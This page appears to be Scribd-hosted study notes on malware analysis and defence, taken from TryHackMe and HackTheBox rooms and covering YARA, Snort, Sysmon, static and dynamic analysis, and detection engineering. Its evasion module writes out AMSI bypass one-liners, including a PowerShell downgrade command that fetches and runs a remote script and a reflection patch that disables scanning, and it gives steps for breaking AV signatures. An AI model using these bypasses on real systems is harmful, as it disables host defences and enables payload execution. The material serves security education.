0% found this document useful (0 votes)
12 views18 pages

Malware Analysis Control Methods Notes.

The document provides a comprehensive overview of malware analysis and control methods, covering fundamentals, detection strategies, and analysis methodologies. It details various types of malware, their behaviors, and real-world examples, alongside detection techniques such as YARA and IDS/IPS systems. Additionally, it outlines safe handling rules for malware analysis, emphasizing the importance of static and dynamic analysis workflows.

Uploaded by

Nicky Ntongani
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
12 views18 pages

Malware Analysis Control Methods Notes.

The document provides a comprehensive overview of malware analysis and control methods, covering fundamentals, detection strategies, and analysis methodologies. It details various types of malware, their behaviors, and real-world examples, alongside detection techniques such as YARA and IDS/IPS systems. Additionally, it outlines safe handling rules for malware analysis, emphasizing the importance of static and dynamic analysis workflows.

Uploaded by

Nicky Ntongani
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Malware Analysis & Control Methods

Comprehensive Study Notes

Sources: TryHackMe & HackTheBox Rooms


Modules: Module 1 – 5 | Rooms: 13 Total
MODULE 1 — Fundamentals of Malicious Code
Focus: Taxonomy, infection vectors, and real-world behavior. Rooms: THM Malware Classification | THM
History of Malware

THM — Malware Classification


What is Malware?
Malware (malicious software) is any software designed to damage systems, steal information, or disrupt
operations. SOC analysts must correctly classify malware to determine the right response — such as
isolating machines or investigating data theft.

Core Malware Categories


Type Behavior / Purpose Real-World Example

Ransomware Encrypts files; demands payment to Akira, WannaCry


restore access

Spyware Records keystrokes, credentials, Pegasus, Agent Tesla


screenshots; exfiltrates data

Adware Displays unwanted advertisements; Browser hijackers


tracks browsing behavior

Wiper Overwrites/destroys files; causes Shamoon, NotPetya


irreversible damage

Keylogger Captures every keystroke for credential RedLine Stealer


theft

Cryptominer Uses victim CPU/GPU resources to mine XMRig variants


cryptocurrency

Trojan Disguises as legitimate software; delivers DarkHotel


payload on execution

Worm Self-replicates across networks without Morris Worm


user interaction

Notable Real-World Malware


• Pegasus (Spyware): Targets mobile phones using zero-click exploits. Collects text messages,
location, emails, camera/mic data. MITRE ATT&CK: TA0009 (Collection), TA0010 (Exfiltration).
• Akira (Ransomware): Targets businesses and schools via phishing and stolen credentials.
Spreads internally, encrypts key files, and demands cryptocurrency. Also steals and threatens to
leak data.
• Shamoon (Wiper): Targeted energy companies (notably Saudi Aramco). Overwrote files with
garbage data; took entire networks offline for weeks.
• Agent Tesla (Spyware/Keylogger): Delivered via phishing email attachments. Captures
keystrokes, screenshots, browser credentials. Sends data to attacker-controlled C2 servers.
• RedLine Stealer: Functions as both keylogger and data stealer; sold on dark web forums.

Binary vs. Script-Based Threats


• Binary malware (PE .exe/.dll) compiles to machine code; harder to reverse but leaves
identifiable byte patterns.
• Script-based malware (.ps1, .vbs, .js) is human-readable; easier to obfuscate and modify,
bypassing static signatures more easily.
• Binary malware is more likely to leave identifiable byte patterns used by antivirus software.

Attack Classification
• Targeted Attacks: Crafted for a specific victim (e.g., DarkHotel targeting government officials at
specific hotels).
• Mass Campaign Attacks: Designed to infect as many devices as possible regardless of target
(e.g., WannaCry). Tracked by vendors like Kaspersky as APTs.

THM — History of Malware


Origins of Malware Concepts
• Concept of self-replicating programs theorized by John von Neumann in 1949 (also designed the
von Neumann computer architecture). Proven 22 years later.
• ARPANET: Advanced Research Projects Agency Network — the precursor to the modern
internet over which the first malware spread.

Key Milestones
Name Era Significance

Creeper 1971 First virus. Used ARPANET to transfer between computers.


Displayed: 'I'm the creeper, catch me if you can!' Not
technically malware — caused no harm.

Reaper (Nematode) 1971 First antivirus program. Created to hunt and delete Creeper
copies on the network. Introduced the concept of a worm
that removes other worms.

Wabbit (Rabbit) 1970s First truly malicious program. Did not travel across networks
— self-replicated on a single machine in an infinite loop,
consuming resources until crash.

Cascade 1980s First malware to use encryption — not to harm data but to
evade detection. Infected .COM files on DOS. Avoided IBM
computers. Text would visually 'fall' on screen as payload.
Morris Worm 1988 First major worm to cause widespread damage on the
internet. Exploited UNIX vulnerabilities. Showed scale of
mass propagation.
WannaCry 2017 Global ransomware attack using the EternalBlue exploit
(MS17-010). Mass campaign attack demonstrating modern
ransomware's destructive scale.

Cascade — Deep Dive


• File extension targeted: .COM (common executable on Digital Equipment DOS systems).
• Encryption purpose: Not data destruction, but to hide itself from early AV tools.
• Payload: Text would visually cascade/fall from the screen if no other payload was active.
• Had approximately 40 known variants — demonstrating that malware families evolve rapidly.
• Would not infect IBM computers (looked for IBM copyright text).
MODULE 2 — Detection and Defense Strategies
Focus: Signatures, heuristics, and monitoring. Rooms: THM YARA | THM Intro to IDS/IPS | HTB Windows Event
Logs & Finding Evil

THM — YARA
What is YARA?
YARA stands for 'Yet Another Ridiculous Acronym.' Developed by Victor M. Alvarez and VirusTotal.
Known as 'the pattern matching Swiss knife for malware researchers (and everyone else).' YARA
identifies files based on binary and textual patterns.

YARA Rule Syntax


Every YARA command requires two arguments: the rule file and the target (file, directory, or PID).
Standard extension: .yar

Command syntax: yara [Link] somedirectory

Rule Structure
• A rule requires ONLY a name and a condition to be valid.
• Optional sections: meta (description/author info) and strings (patterns to match).
• Strings section: defines text/hex patterns referenced in the condition.
• Condition section: uses Boolean logic (AND, NOT, OR) to evaluate matches.
• Wide-character encoding: Use the 'wide' modifier for strings encoded as 2 bytes per char
(common in Windows PE files).
• filesize condition: Can match files under/over a specific size (e.g., filesize < 700KB).

Key YARA Tools


• LOKI: Free open-source IOC scanner by Florian Roth. Detects using file name IOCs, YARA rules,
hash checks, and C2 back-connect checks.
• yarGen: Generates YARA rules from malware samples. Usage: python3 [Link] -m
/path/to/sample --excludegood -o [Link]
• Valhalla: Online YARA feed by Nextron-Systems. Thousands of hand-crafted rules. Searchable by
keyword, tag, ATT&CK technique, SHA256, or rule name.
• Cuckoo Sandbox: Automated malware analysis system. YARA rules can be created based on
behavioral observations (runtime strings, API calls).
• Python PE Module: Creates YARA rules from Windows PE structure (sections, imports, exports).
Critical for identifying cryptography/worming behavior.

Practical Workflow (LOKI + yarGen)


• Step 1: Run LOKI against a suspicious directory to check for known IOCs.
• Step 2: If LOKI misses a file, use yarGen to auto-generate a custom YARA rule for that sample.
• Step 3: Move the new rule into LOKI's signature-base/yara directory.
• Step 4: Re-run LOKI — it now detects the previously missed sample.
• Step 5: Search Valhalla with the file's SHA256 hash to check for APT attribution.

THM — Intro to IDS/IPS


IDS vs. IPS — Core Difference
• IDS (Intrusion Detection System): PASSIVE — monitors and ALERTS on suspicious activity. Does
NOT block traffic. Think of it as a security camera.
• IPS (Intrusion Prevention System): ACTIVE — monitors, alerts, AND blocks/drops malicious
traffic in real time.

IDS Categories by Deployment


• HIDS (Host-based IDS): Installed on individual hosts. Monitors activity on that specific machine
only. Provides detailed host-level visibility.
• NIDS (Network-based IDS): Monitors network traffic across subnets. Creates alerts for
suspicious signatures or anomalies across the whole network.

IPS Categories
• NIPS (Network IPS): Protects entire network traffic. Terminates malicious connections.
• NBA (Network Behavior Analysis): Learns normal traffic patterns (baseline) to detect
deviations. Requires a training period.

Detection Methods
• Signature-based detection: Compares traffic against a database of known bad patterns
(signatures). Fast but cannot detect unknown/zero-day threats.
• Anomaly-based detection: Establishes a baseline of normal behavior; flags deviations. Can
detect unknown threats but generates more false positives.

Snort — The Industry Standard IDS/IPS


Snort is an open-source NIDS/NIPS. Operates in sniffer, packet logger, and IDS/IPS modes.

IDS analysis command: sudo snort -q -l /var/log/snort -r [Link] -A console -c /etc/snort/[Link]

Snort Rule Anatomy


• Every rule has: action, protocol, src IP/port, direction, dst IP/port, and options.
• rev field: Revision number — increments each time the rule is updated.
• sid field: Unique signature ID for each Snort rule.
• Protocol field: ICMP, TCP, UDP, or IP.
• Example: alert icmp any any -> $HOME_NET any (msg:'Ping Detected'; sid:1000001; rev:1;)
HTB — Windows Event Logs & Finding Evil
Overview of Windows Event Logs
Windows Event Logs are an intrinsic part of the Windows OS. They store logs from system components,
applications, ETW providers, services, and more. Accessible via Event Viewer or PowerShell.

Event Log Components


• Log Name — which log category (Application, System, Security, etc.)
• Source — the software that generated the event
• Event ID — unique numeric identifier for the event type
• Task Category — purpose/use description
• Level — Information, Warning, Error, Critical
• Timestamp, User, Computer

Critical Event IDs for Threat Detection


Event ID Meaning / Use in Threat Hunting

4624 Successful logon — investigate for unusual hours, accounts, logon types

4625 Failed logon — high volume may indicate brute-force attacks

4688 Process creation — check CommandLine field for suspicious executables


4907 Audit policy changes — often used by malware to disable logging

7 Sysmon: Image loaded — detect unsigned DLLs for DLL hijacking detection

10 Sysmon: Process access — detect credential dumping (e.g., Mimikatz accessing LSASS)
1 Sysmon: Process create — detect malicious process execution with parent/child
relationships

3 Sysmon: Network connection — detect C2 beaconing and suspicious outbound


connections

Sysmon — Enhanced Visibility


System Monitor (Sysmon) is a Windows service that logs detailed process activity. Standard Windows
logs are like a detective's notebook; Sysmon gives that detective X-ray vision.
• DLL Hijacking detection: Use Sysmon Event ID 7 (Image Load) filtering for unsigned: false DLLs.
• Credential dumping (Mimikatz): Sysmon Event ID 10 — [Link] accessing [Link] is a red
flag.
• Parent PID spoofing: Monitor for unusual parent-child process relationships.
• Unmanaged PowerShell injection: CLR/DLR runtime events can expose in-memory execution.

Event Tracing for Windows (ETW)


ETW provides kernel-level telemetry that even Sysmon cannot capture. Useful for detecting
sophisticated attacks like .NET assembly loading and memory injection.
Get-WinEvent — PowerShell Analysis
Designed for large-scale log analysis across millions of events in enterprise environments.

Get-WinEvent -Path 'C:\Logs\DLLHijack\*' | Where-Object {$_.Id -eq 7 -and $_.Message -like '*signed: false*'}
| Select-Object TimeCreated, Id, ProviderName, LevelDisplayName, Message

• Use FilterHashtable for efficient filtering by log path, event ID, date range.
• Events store detailed data in XML format — extract specific fields for precise analysis.
• Combine with grep-like filtering for IP addresses, process names, or command lines.
MODULE 3 — Malware Analysis Methodologies
Focus: Static, Dynamic, and Hybrid analysis workflows. Rooms: THM Intro to Malware Analysis | HTB Intro to
Malware Analysis

THM — Intro to Malware Analysis


Who Uses Malware Analysis?
• SOC Teams — write detections for malicious activity in networks.
• Incident Response Teams — determine damage scope for remediation.
• Threat Hunt Teams — identify IOCs and hunt for malware across the network.

Safe Handling Rules


• Always use dedicated machines; never analyze on production systems.
• Store samples in password-protected ZIP archives.
• Extract samples ONLY within isolated virtual machines.
• Use VMs with snapshots — revert after every analysis session.
• Keep VMs network-isolated unless deliberately testing network behavior.

File Hashing — The Malware Fingerprint


A hash is a unique cryptographic fingerprint of a file. Even a single-bit change produces a completely
different hash, which is why malware authors use it to evade hash-based detection.
• MD5 (md5sum): 128-bit hash. Fast but prone to collision attacks. Still widely used in malware
community for quick identification.
• SHA1 (sha1sum): 160-bit hash. More collision-resistant than MD5.
• SHA256 (sha256sum): 256-bit hash. Gold standard for malware identification and sharing on
platforms like VirusTotal.

Linux commands: md5sum [Link] | sha1sum [Link] | sha256sum [Link]

VirusTotal
• Search a hash to see if it has been analyzed by any of 70+ AV engines.
• Navigate to the Details tab > History tab to find timestamps (creation time, first submission).
• A hash submission never executes the file — completely safe.
• Note: Uploading a file DOES send it to VirusTotal — use with caution for sensitive/unreleased
malware.

PE Headers — Windows Executable Metadata


Portable Executable (PE) headers provide critical information about Windows executables (.exe, .dll).
Key fields: compile timestamp, imported DLLs (imports table), exported functions, sections (.text = code,
.data = global vars, .rsrc = resources).
• PEstudio: GUI tool to inspect PE headers, imports, sections, embedded strings, and entropy
(packed files have high entropy).

Static Analysis
Examining malware WITHOUT executing it. Safe but limited by obfuscation and packing.
• strings command: Extracts printable strings (min length with -n flag). Reveals URLs, IP addresses,
registry keys, error messages, file paths.
• file command: Identifies file type regardless of extension.
• Example: strings -n 15 dharma_sample.exe — reveals ransomware family indicators via PDB
paths.
• Limitation: Obfuscated/packed malware shows garbled strings; dynamic analysis is needed.

Dynamic Analysis
Executing malware in a controlled VM to observe ACTUAL behavior. Reveals what static analysis hides.
• Monitor: Registry changes, file system writes, network connections, process creation, API calls.
• Sandboxes: Automated dynamic analysis environments (e.g., [Link], Cuckoo, VirusTotal
sandbox).
• After execution, use Windows Forensics techniques to reconstruct what malware did.
• Use VM snapshots — always revert to a clean state after each analysis.

HTB — Introduction to Malware Analysis Module


Module Coverage
This HTB Academy module covers the complete methodology for Windows-based malware: Static
Analysis (Linux and Windows tools), Malware Unpacking, Dynamic Analysis (including traffic analysis),
Code Analysis / Reverse Engineering, and Debugging with x64dbg. Real-world samples analyzed:
WannaCry, DoomJuice, Brbbot, Dharma, Meterpreter.

Static Analysis — Linux Tools


• strings: Extract readable strings from binaries (use -n 15 to filter noise).
• file: Determine file type; detect PE, ELF, scripts.
• md5sum / sha256sum: Generate cryptographic fingerprints for identification and VirusTotal
lookups.
• PDB path strings can link a sample to a known malware family (e.g., Dharma/Crysis
ransomware).

Malware Unpacking
Packed malware compresses/encrypts its real payload to evade static detection. High section entropy
(close to 8.0) indicates packing. The real code only decrypts at runtime.
• Step 1: Identify packing (high entropy sections, small import table, custom section names).
• Step 2: Run packed sample in debugger; let the unpacker stub execute.
• Step 3: Dump the unpacked memory image at the OEP (Original Entry Point).
• Step 4: Fix the PE header and import table of the dumped image.

Dynamic Analysis — Traffic Monitoring


• Wireshark/tcpdump: Capture malware's network traffic — reveals C2 domains, protocols, data
exfiltration patterns.
• Regshot: Compare Windows Registry before and after execution — reveals persistence
mechanisms (Run keys, services).
• Process Monitor (Procmon): Logs all file, registry, network, and process/thread activity in real
time.
• FakeNet-NG: Simulates network services — allows malware to 'connect' without real internet
access; captures C2 communications.

Code Analysis — Reverse Engineering


• IDA Pro / IDA Freeware: Industry-standard disassembler. Produces a control flow graph (CFG).
Navigate via Function list and Imports tab.
• Ghidra: Free NSA-developed RE tool; competitive with commercial tools. Includes a decompiler
that generates pseudo-C code.
• Key technique: Trace data flows — find where a suspicious value is assigned, then follow
references.
• Common patterns: Registry key modifications for persistence (HKCU/HKLM Run keys), encrypted
C2 communications, anti-analysis checks.

Debugging with x64dbg


x64dbg is the industry-standard open-source debugger for Windows malware. Use x32dbg for 32-bit
samples and x64dbg for 64-bit samples.
• Interface: CPU tab shows Disassembly, Registers (EIP/RIP = instruction pointer), Stack, and
Dump.
• Breakpoints: Hardware (execution/access/write), Software (INT3), Conditional.
• Anti-sandbox patches: Change CMP instruction value from 0x1 to 0x0, or change JE to JNE, to
bypass sandbox detection checks.
• TLS Callbacks: Code that executes BEFORE the main function (OEP). Used to run anti-analysis
checks early; check if conditional jumps in TLS callbacks are taken.
MODULE 4 — Advanced Technical Analysis
Focus: Reverse Engineering, Assembly, and tool-assisted inspection. Rooms: HTB Malware Analysis Skills
Assessment | THM Basic Malware RE | THM x64dbg (Dynamic Analysis: Debugging)

THM — Basic Malware RE


Room Overview
Static analysis challenge room: three Windows executable files ([Link], [Link], [Link]),
each printing an MD5 hash on execution. Goal: reverse-engineer to find the plaintext string that gets
MD5-hashed. No dynamic execution allowed — pure static analysis using Ghidra or IDA.

Challenge 1 — Direct String


• Open [Link] in Ghidra Code Browser.
• Navigate to Symbol Tree > Functions > main.
• Look for lpText parameter — it holds the MD5 hash of a string at a memory address (e.g.,
DAT_00432294).
• Double-click the address to find the plaintext string in Ghidra's Defined Strings window.

Key insight: The string is hard-coded at a fixed memory address referenced by the MessageBox call.

Challenge 2 — Dynamically Built String


• The string is NOT hard-coded; it is built character-by-character on the stack at runtime.
• In the decompiler, look for char variables (local_2c, etc.) assigned individual hex values.
• Hex values represent ASCII characters — convert each to get the string.
• The last variable (local_8 char pointer) points to the string start address for MD5 hashing.

Tip: Variables are pushed to stack in reverse order — the last defined variable is first on the stack.

Challenge 3 — Resource String


• The string is loaded from a Windows resource section using LoadStringA() / FindResourceA().
• Find the hex parameter in LoadStringA() call (e.g., 0x110); convert to decimal (272).
• Open Ghidra: Window > Defined Strings and scroll to find string ID 272.
• LoadStringA() is from User32 library; FindResourceA() is from Kernel32 library.

Key Ghidra Workflow


• 1. Open binary in Ghidra Code Browser (dragon icon).
• 2. Auto-analyze the binary.
• 3. Use Symbol Tree to navigate to main() or entry().
• 4. Switch between Disassembly (Assembly) and Decompiler (pseudo-C) views.
• 5. Use Window > Defined Strings to browse all embedded strings.
• 6. Double-click any reference to jump to its location in memory.

THM — x64dbg (Dynamic Analysis: Debugging)


When to Use Dynamic Analysis
Static analysis may be blocked by obfuscation, packing, or encryption. Dynamic analysis executes the
sample in a controlled environment (FLARE VM) to observe its real behavior. It is especially powerful for
bypassing anti-analysis tricks that only trigger at runtime.

x32dbg / x64dbg Interface


• CPU Tab: Disassembly pane (center), Registers (right), Stack (bottom-right), Dump (bottom-left).
• EIP (32-bit) / RIP (64-bit): Instruction Pointer — shows the next instruction to execute.
• Open file: File > Open; execution pauses at the System breakpoint.
• Controls: Run (F9), Step Into (F7), Step Over (F8), Run to cursor (F4).

Anti-Analysis Techniques Encountered


• Timing Checks: Measure time between instructions to detect slow debugger execution.
• Packing: Compresses/obfuscates code to hide until runtime.
• TLS Callbacks: Execute hidden code before main() — can abort if debugger is detected.
• IsDebuggerPresent(): Win32 API call that checks the PEB for debugger flag.
• Process Environment Block (PEB): Windows structure containing debugger detection flags.

Bypassing Anti-Analysis in x64dbg


• Change breakpoint conditions to force execution down the non-analysis path.
• For 'Sandbox Detected' checks: Set breakpoint on the comparison instruction; change register
value to skip the check.
• Patch CMP 0x1 → 0x0, or JE → JNE to invert conditional jumps.
• For TLS callbacks: Find the callback in x64dbg's TLS section; check if the conditional jump is
taken.

Practical Analysis Workflow


• 1. Identify the type of sample (32-bit vs 64-bit) — use the appropriate debugger.
• 2. Load sample and let it hit the System breakpoint.
• 3. Scan imports for anti-analysis APIs (IsDebuggerPresent, GetTickCount, etc.).
• 4. Set breakpoints on suspicious functions.
• 5. Run and inspect behavior at each breakpoint.
• 6. Patch any anti-analysis checks as needed.
• 7. Dump unpacked code from memory if the sample is packed.
HTB — Malware Analysis Skills Assessment
Assessment Overview
A comprehensive hands-on lab requiring analysts to examine a malware binary and identify: persistence
mechanisms, hidden C2 domains, anti-analysis techniques, network communication patterns, and the
malware's overall behavior. Combines all techniques from the module.

Methodology Checklist
• Step 1 — Static Triage: Hash the sample, submit to VirusTotal, identify packing/obfuscation via
entropy.
• Step 2 — String Analysis: Extract strings; look for URLs, IP addresses, domain names, registry
paths.
• Step 3 — PE Header Analysis: Check import table for suspicious APIs (CreateRemoteThread,
VirtualAlloc, WriteProcessMemory, etc.).
• Step 4 — Dynamic Analysis: Execute in VM; capture Regshot diff, Procmon logs, network traffic.
• Step 5 — Code Analysis: Reverse-engineer key functions to understand encryption, C2 protocol,
evasion logic.
• Step 6 — Debugging: Use x64dbg to trace execution, bypass anti-analysis, and extract runtime
values (e.g., decrypted C2 domain).

Common Persistence Mechanisms to Hunt


• Registry Run Keys: HKCU/HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
• Scheduled Tasks: schtasks command or Task Scheduler API calls.
• Service Installation: OpenSCManager, CreateService API calls.
• DLL Hijacking: Placing a malicious DLL in a directory searched before the legitimate one.
• Startup Folder: Copying malware to %APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup
MODULE 5 — Evasion and Control Methods
Focus: Obfuscation, Anti-VM checks, and active mitigation. Rooms: THM Host Evasions | THM Runtime
Detection Evasion | HTB Incident Response & Detection Engineering

THM — Host Evasions Module


Overview
The Host Evasions module on TryHackMe covers the full spectrum of how malware and red teamers
bypass security controls at the host level: AV evasion, AMSI bypasses, signature breaking, obfuscation,
shellcode injection, and logging evasion.

Key Evasion Categories


• Obfuscation: Changing code appearance without changing functionality. Renames variables,
uses encoding, splits strings, inserts junk code.
• Packing: Compresses the binary — real code only revealed at runtime. Makes static detection
very difficult.
• Encryption: Encrypts payload; only decrypts in memory at execution time.
• Reflective Loading: Loads PE files from memory without touching disk. Completely evades file-
based AV scanning.
• Process Injection: Injects malicious code into legitimate processes (e.g., [Link]) to hide
under a trusted process.
• Shellcode Injection: Injects raw shellcode into a target process using VirtualAlloc →
WriteProcessMemory → CreateRemoteThread pattern.

AV Signature Evasion
Modern AV engines flag files based on static signatures (byte sequences) and dynamic behavioral
analysis. To bypass:
• Use tools like ThreatCheck or DefenderCheck to identify exactly which bytes trigger detection.
• Use AMSITrigger to identify AMSI-flagged strings in PowerShell scripts.
• Find-AVSignature: Script that automatically splits and tests byte ranges to locate detection
signatures.
• Modify flagged strings: rename variables, encode values, split strings, use alternative API calls.
• After modification, re-run the detection tool to verify the signature is broken.

THM — Runtime Detection Evasion


What is Runtime Detection?
While traditional AV scans files on disk before execution, runtime detection analyzes application
behavior WHILE it is actively running in memory. AMSI is Windows' primary runtime detection
component.

AMSI — Anti-Malware Scan Interface


AMSI is a PowerShell security feature allowing applications to integrate with any installed antivirus.
Windows Defender uses AMSI to scan payloads and scripts before execution inside the .NET runtime
(CLR/DLR).
• AMSI Trigger Points: UAC prompts, PowerShell scripts, Windows Script Host (JScript/VBScript),
Office VBA macros, .NET applications.
AMSI is loaded only when code runs from memory via the CLR. If a file is on disk, [Link]
(Defender) handles it instead.

AMSI Bypass Techniques

1. PowerShell Downgrade Attack


Downgrade the PowerShell version to PowerShell v2, which predates AMSI and does not include it.

powershell -version 2 -command "Invoke-Expression (New-Object


[Link]).DownloadString('[Link]

• Limitation: PowerShell v2 must be installed on the system (common on older Windows builds).

2. Reflection Attack
Use .NET Reflection to access and modify the AmsiUtils class in memory, setting amsiInitFailed to true.
Matt Graeber's one-liner:

[Ref].[Link]('[Link]').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$t

• This tells the AMSI runtime initialization has failed, disabling scanning for the session.
• The AMSI utilities are stored in the AMSIUtils .NET assembly in
[Link].

3. AmsiScanBuffer Patching
Since [Link] is loaded into the same virtual memory space as the target process, it can be patched
directly. Overwrite the beginning of AmsiScanBuffer() with a return-clean instruction, making every scan
return benign.
• Most known bypasses target Win32 API layer — specifically AmsiScanBuffer.
• Tools like [Link] auto-generate these patches.

AMSI Response Codes


• AMSI_RESULT_CLEAN (0) — no threat detected.
• AMSI_RESULT_DETECTED (32768) — threat detected; execution blocked by AV.
• AMSI_RESULT_NOT_DETECTED — not detected by loaded AV.

Important Operational Notes


• For each new task in the Room, restart the machine — otherwise previous bypass states persist.
• AMSI bypasses must be re-applied each new PowerShell session.
• Combine AMSI bypass with signature evasion for comprehensive coverage.
• Learn Ruby, Rust, and less-mainstream languages for tool development — 'not so mainstream'
languages are less likely to have AV signatures.

HTB — Incident Response & Detection Engineering


Module Purpose
This HTB module bridges the gap between malware analysis and defensive security. Having analyzed
malware, the focus shifts to using those findings to build and refine security controls — the 'control
methods' component of the module.

Detection Engineering Workflow


• Step 1 — Analyze attacker TTPs (Tactics, Techniques, and Procedures) from malware analysis.
• Step 2 — Map TTPs to MITRE ATT&CK framework entries.
• Step 3 — Identify existing detection gaps in current security controls.
• Step 4 — Build new detection rules (YARA, Sigma, Snort/Suricata) targeting the identified TTPs.
• Step 5 — Test detection rules against known malware samples.
• Step 6 — Tune rules to reduce false positives while maintaining detection fidelity.
• Step 7 — Document IOCs and share with threat intelligence platforms.

Sigma Rules — SIEM Detection


Sigma is a generic signature format for SIEM systems — the YARA equivalent for log-based detection.
• Structure: Title, Status, Description, Logsource, Detection (keywords/conditions), FalsePositives,
Level.
• sigmac: Translates Sigma rules into SIEM-specific query languages (Splunk SPL, Elastic KQL,
QRadar AQL, etc.).
• Example use: Detect encoded PowerShell commands by looking for '-encodedcommand' or '-
enc' in Event ID 4688 Process Creation logs.

Incident Response — Key Phases


• Preparation: Baseline logging, deploy Sysmon, establish detection rules, create playbooks.
• Identification: Alert triage — use event logs, SIEM, EDR to confirm malicious activity.
• Containment: Isolate affected hosts from the network; preserve forensic evidence.
• Eradication: Remove malware, persistence mechanisms, and attacker footholds.
• Recovery: Restore from clean backups; validate systems are clean before reconnecting.
• Lessons Learned: Document what happened; use findings to improve detections and prevent
recurrence.

IOC Sharing
• VirusTotal: Submit hashes, IPs, domains for cross-AV validation and community sharing.
• MISP: Malware Information Sharing Platform — structured threat intelligence sharing.
• OpenCTI: Open-source CTI platform for organizing, storing, and sharing intelligence.
• TAXII/STIX: Standard protocols/formats for automated machine-to-machine intelligence
sharing.

End of Notes — Malware Analysis & Control Methods


Sources: [Link] | [Link]

You might also like